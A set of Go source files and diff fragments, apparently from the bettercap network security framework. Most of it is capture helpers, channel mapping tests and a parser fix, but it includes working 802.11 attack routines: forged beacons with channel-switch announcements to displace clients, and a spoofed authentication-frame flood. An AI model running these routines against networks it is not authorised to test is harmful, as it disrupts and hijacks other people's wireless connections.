27 for seq := uint16(0); seq < 256 && mod.Running(); seq++ {
28 if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{
29 SSID: ssid,
30 BSSID: hw,
31 Channel: ap.Channel,
32 Encryption: false,
33 SpectrumManagement: true,
34 }, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil {
35 mod.Error("could not create beacon packet: %s", err)
36 continue
37 } else {
38 mod.injectPacket(pkt)
39 }
40 }
41 }
42
43 func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error {
44 // if not already running, temporarily enable the pcap handle
45 // for packet injection
46 if !mod.Running() {
47 if err := mod.Configure(); err != nil {
48 return err
49 }
50 defer mod.handle.Close()
51 }
52
53 var ap *network.AccessPoint = nil
54
55 for _, _ap := range mod.Session.WiFi.List() {
56 if bytes.Equal(_ap.HW, to) {
57 ap = _ap
58 }
59
60 }
61
62 if ap == nil {
63 return fmt.Errorf("%s is an unknown BSSID", to.String())
64 }
65
66 mod.writes.Add(1)
67 go func() {
68 defer mod.writes.Done()
69
70 if mod.Running() {
71 logger := mod.Info
72 if mod.isCSASilent() {
73 logger = mod.Debug
74 }
75 logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan)
76 // send the beacon frame with channel switch announce element id
77 mod.onChannel(ap.Channel, func() {
78 mod.sendBeaconWithCSAPacket(ap, toChan)
79 })
80 }
81
82 }()
83
84 return nil
85 }
0 package wifi
1
2 import (
3 "bytes"
4 "fmt"
5 "github.com/bettercap/bettercap/network"
6 "github.com/bettercap/bettercap/packets"
7 "net"
8 )
9
10
11 func (mod *WiFiModule) isFakeAuthSilent() bool {
12 if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil {
13 mod.Warning("%v", err)
14 } else {
15 mod.csaSilent = is
16 }
17 return mod.csaSilent
18 }
19
20 func(mod *WiFiModule)sendFakeAuthPacket(bssid,client net.HardwareAddr){
21 err,pkt:=packets.NewDot11Auth(client,bssid,0)
22 if err!=nil{
23 mod.Error("could not create authentication packet: %s", err)
24 return
25 }
26 for i:=0;i<32;i++{
27 mod.injectPacket(pkt)
28 }
29 }
30
31 func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error {
32 // if not already running, temporarily enable the pcap handle
33 // for packet injection
34 if !mod.Running() {
35 if err := mod.Configure(); err != nil {
36 return err
37 }
38 defer mod.handle.Close()
39 }
40
41 var ap *network.AccessPoint = nil
42
43 for _, _ap := range mod.Session.WiFi.List() {
44 if bytes.Equal(_ap.HW, bssid) {
45 ap = _ap
46 }
47 }
48
49 if ap == nil {
50 return fmt.Errorf("%s is an unknown BSSID", bssid.String())
51 }
52
53 mod.writes.Add(1)
54 go func() {
55 defer mod.writes.Done()
56
57 if mod.Running() {
58 logger := mod.Info
59 if mod.isFakeAuthSilent() {
60 logger = mod.Debug
61 }
62 logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String())
63 // send the beacon frame with channel switch announce element id
64 mod.onChannel(ap.Channel, func() {
65 mod.sendFakeAuthPacket(bssid,client)
66 })
67 }
68 }()
69 return nil
70 }
0 package network
1
2 import (
3 "fmt"
4 "time"
5
6 "github.com/evilsocket/islazy/tui"
7 "github.com/google/gopacket/pcap"
8 )
9
10 const (
11 PCAP_DEFAULT_SETRF = false
12 PCAP_DEFAULT_SNAPLEN = 65536
13 PCAP_DEFAULT_BUFSIZE = 2_097_152
14 PCAP_DEFAULT_PROMISC = true
15 PCAP_DEFAULT_TIMEOUT = pcap.BlockForever
16 )
17
18 var CAPTURE_DEFAULTS = CaptureOptions{
19 Monitor: PCAP_DEFAULT_SETRF,
20 Snaplen: PCAP_DEFAULT_SNAPLEN,
21 Bufsize: PCAP_DEFAULT_BUFSIZE,
22 Promisc: PCAP_DEFAULT_PROMISC,
23 Timeout: PCAP_DEFAULT_TIMEOUT,
24 }
25
26 type CaptureOptions struct {
27 Monitor bool
28 Snaplen int
29 Bufsize int
30 Promisc bool
31 Timeout time.Duration
32 }
33
34 func CaptureWithOptions(ifName string, options CaptureOptions) (*pcap.Handle, error) {
35 Debug("creating capture for '%s' with options: %+v", ifName, options)
36
37 ihandle, err := pcap.NewInactiveHandle(ifName)
38 if err != nil {
39 return nil, fmt.Errorf("error while opening interface %s: %s", ifName, err)
40 }
41 defer ihandle.CleanUp()
42
43 if options.Monitor {
44 if err = ihandle.SetRFMon(true); err != nil {
45 return nil, fmt.Errorf("error while setting interface %s in monitor mode: %s", tui.Bold(ifName), err)
46 }
47 }
48
49 if err = ihandle.SetSnapLen(options.Snaplen); err != nil {
50 return nil, fmt.Errorf("error while settng snapshot length: %s", err)
51 } else if err = ihandle.SetBufferSize(options.Bufsize); err != nil {
52 return nil, fmt.Errorf("error while settng buffer size: %s", err)
53 } else if err = ihandle.SetPromisc(options.Promisc); err != nil {
54 return nil, fmt.Errorf("error while settng promiscuous mode to %v: %s", options.Promisc, err)
55 } else if err = ihandle.SetTimeout(options.Timeout); err != nil {
56 return nil, fmt.Errorf("error while settng snapshot length: %s", err)
57 }
58
59 return ihandle.Activate()
60 }
61
62 func Capture(ifName string) (*pcap.Handle, error) {
63 return CaptureWithOptions(ifName, CAPTURE_DEFAULTS)
64 }
65
66 func CaptureWithTimeout(ifName string, timeout time.Duration) (*pcap.Handle, error) {
67 var opts = CAPTURE_DEFAULTS
68 opts.Timeout = timeout
69 return CaptureWithOptions(ifName, opts)
70 }
2222 return 14
2323 } else if freq >= 5035 && freq <= 5865 {
2424 return ((freq - 5035) / 5) + 7
25 } else if freq >= 5875 && freq <= 5895 {
26 return 177
2527 }
2628 return 0
2729 }
3335 return 2484
3436 } else if channel <= 173 {
3537 return ((channel - 7) * 5) + 5035
38 } else if channel == 177 {
39 return 5885
3640 }
3741
3842 return 0
55 "github.com/evilsocket/islazy/data"
66 )
77
8 // Define test data for dot11 frequency <-> channel tests
9 type dot11pair struct {
10 frequency int
11 channel int
12 }
13
14 var dot11TestVector = []dot11pair{
15 {2472, 13},
16 {2484, 14},
17 {5825, 165},
18 {5885, 177},
19 }
20
821 func buildExampleWiFi() *WiFi {
922 aliases := &data.UnsortedKV{}
1023 return NewWiFi(buildExampleEndpoint(), aliases, func(ap *AccessPoint) {}, func(ap *AccessPoint) {})
1124 }
1225
1326 func TestDot11Freq2Chan(t *testing.T) {
14 exampleFreq := 2472
15 exp := 13
16 got := Dot11Freq2Chan(exampleFreq)
17 if got != exp {
18 t.Fatalf("expected '%v', got '%v'", exp, got)
27 for _, entry := range dot11TestVector {
28 gotChannel := Dot11Freq2Chan(entry.frequency)
29 if gotChannel != entry.channel {
30 t.Fatalf("expected '%v', got '%v'", entry.channel, gotChannel)
31 }
1932 }
2033 }
2134
2235 func TestDot11Chan2Freq(t *testing.T) {
23 exampleChan := 13
24 exp := 2472
25 got := Dot11Chan2Freq(exampleChan)
26 if got != exp {
27 t.Fatalf("expected '%v', got '%v'", exp, got)
36 for _, entry := range dot11TestVector {
37 gotFrequency := Dot11Chan2Freq(entry.channel)
38 if gotFrequency != entry.frequency {
39 t.Fatalf("expected '%v', got '%v'", entry.frequency, gotFrequency)
40 }
2841 }
2942 }
3043
1212 var (
1313 openFlags = 1057
1414 wpaFlags = 1041
15 specManFlag = 1<<8
1516 durationID = uint16(0x013a)
1617 capabilityInfo = uint16(0x0411)
1718 listenInterval = uint16(3)
3637 )
3738
3839 type Dot11ApConfig struct {
39 SSID string
40 BSSID net.HardwareAddr
41 Channel int
42 Encryption bool
40 SSID string
41 BSSID net.HardwareAddr
42 Channel int
43 Encryption bool
44 SpectrumManagement bool
4345 }
4446
4547 func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement {
5052 }
5153 }
5254
53 func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
55 func NewDot11Beacon(conf Dot11ApConfig, seq uint16, extendDot11Info ...*layers.Dot11InformationElement) (error, []byte) {
5456 flags := openFlags
5557 if conf.Encryption {
5658 flags = wpaFlags
5759 }
58
60 if conf.SpectrumManagement {
61 flags |= specManFlag
62 }
5963 stack := []gopacket.SerializableLayer{
6064 &layers.RadioTap{
6165 DBMAntennaSignal: int8(-10),
7680 Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates),
7781 Dot11Info(layers.Dot11InformationElementIDDSSet, []byte{byte(conf.Channel & 0xff)}),
7882 }
79
83 for _, v := range extendDot11Info {
84 stack = append(stack, v)
85 }
8086 if conf.Encryption {
8187 stack = append(stack, &layers.Dot11InformationElement{
8288 ID: layers.Dot11InformationElementIDRSNInfo,
176176 size := len(data)
177177 for offset := 3; offset < size; {
178178 idByte := uint8(data[offset])
179 sizeByte := uint8(data[offset+1])
180 if idByte == wpsVersion2ID {
181 verByte := fmt.Sprintf("%x", data[offset+2])
182 (*info)["Version"] = wpsVersionDesc[verByte]
183 data = data[offset+3:]
179 if next := offset + 1; next < size {
180 sizeByte := uint8(data[next])
181 if idByte == wpsVersion2ID {
182 if next = offset + 2; next < size {
183 verByte := fmt.Sprintf("%x", data[next])
184 (*info)["Version"] = wpsVersionDesc[verByte]
185 if next = offset + 3; next < size {
186 data = data[next:]
187 }
188 break
189 }
190 }
191 offset += int(sizeByte) + 2
192 } else {
184193 break
185194 }
186 offset += int(sizeByte) + 2
187195 }
188196 }
189197 return hex.EncodeToString(data)
44 "strings"
55
66 "github.com/evilsocket/islazy/str"
7
87 "github.com/google/gopacket"
98 "github.com/google/gopacket/layers"
109 )
6868 }
6969
7070 if q.active {
71 if q.handle, err = pcap.OpenLive(iface.Name(), 1024, true, pcap.BlockForever); err != nil {
71 if q.handle, err = network.Capture(iface.Name()); err != nil {
7272 return
7373 }
7474
00 package routing
11
22 import (
3 "regexp"
4 "strings"
5
36 "github.com/bettercap/bettercap/core"
47 "github.com/evilsocket/islazy/str"
5 "regexp"
6 "strings"
78 )
89
910 var parser = regexp.MustCompile(`^([^\s]+)\s+([^\s]+)\s+([^\s]+)\s+([^\s]+).*$`)
11
22 import (
33 "fmt"
4 "github.com/bettercap/bettercap/caplets"
5 _ "github.com/bettercap/bettercap/js"
6 "github.com/evilsocket/islazy/fs"
7 "github.com/evilsocket/islazy/plugin"
8 "github.com/evilsocket/islazy/str"
94 "io/ioutil"
105 "path/filepath"
116 "regexp"
127 "strings"
8
9 "github.com/bettercap/bettercap/caplets"
10 _ "github.com/bettercap/bettercap/js"
11
12 "github.com/evilsocket/islazy/fs"
13 "github.com/evilsocket/islazy/plugin"
14 "github.com/evilsocket/islazy/str"
1315 )
1416
1517 // require("telegram.js")
3638 filepath.Join(caplets.InstallBase, fileName),
3739 }
3840
39 if strings.Contains(fileName, ".js") == false {
41 if !strings.Contains(fileName, ".js") {
4042 searchPaths = append(searchPaths, []string{
4143 filepath.Join(basePath, fileName) + ".js",
4244 filepath.Join(caplets.InstallBase, fileName) + ".js",
126126 }
127127 }
128128
129 if bufSize := *s.Options.PcapBufSize; bufSize != -1 {
130 network.CAPTURE_DEFAULTS.Bufsize = bufSize
131 }
132
129133 if s.Env, err = NewEnvironment(*s.Options.EnvFile); err != nil {
130134 return nil, err
131135 }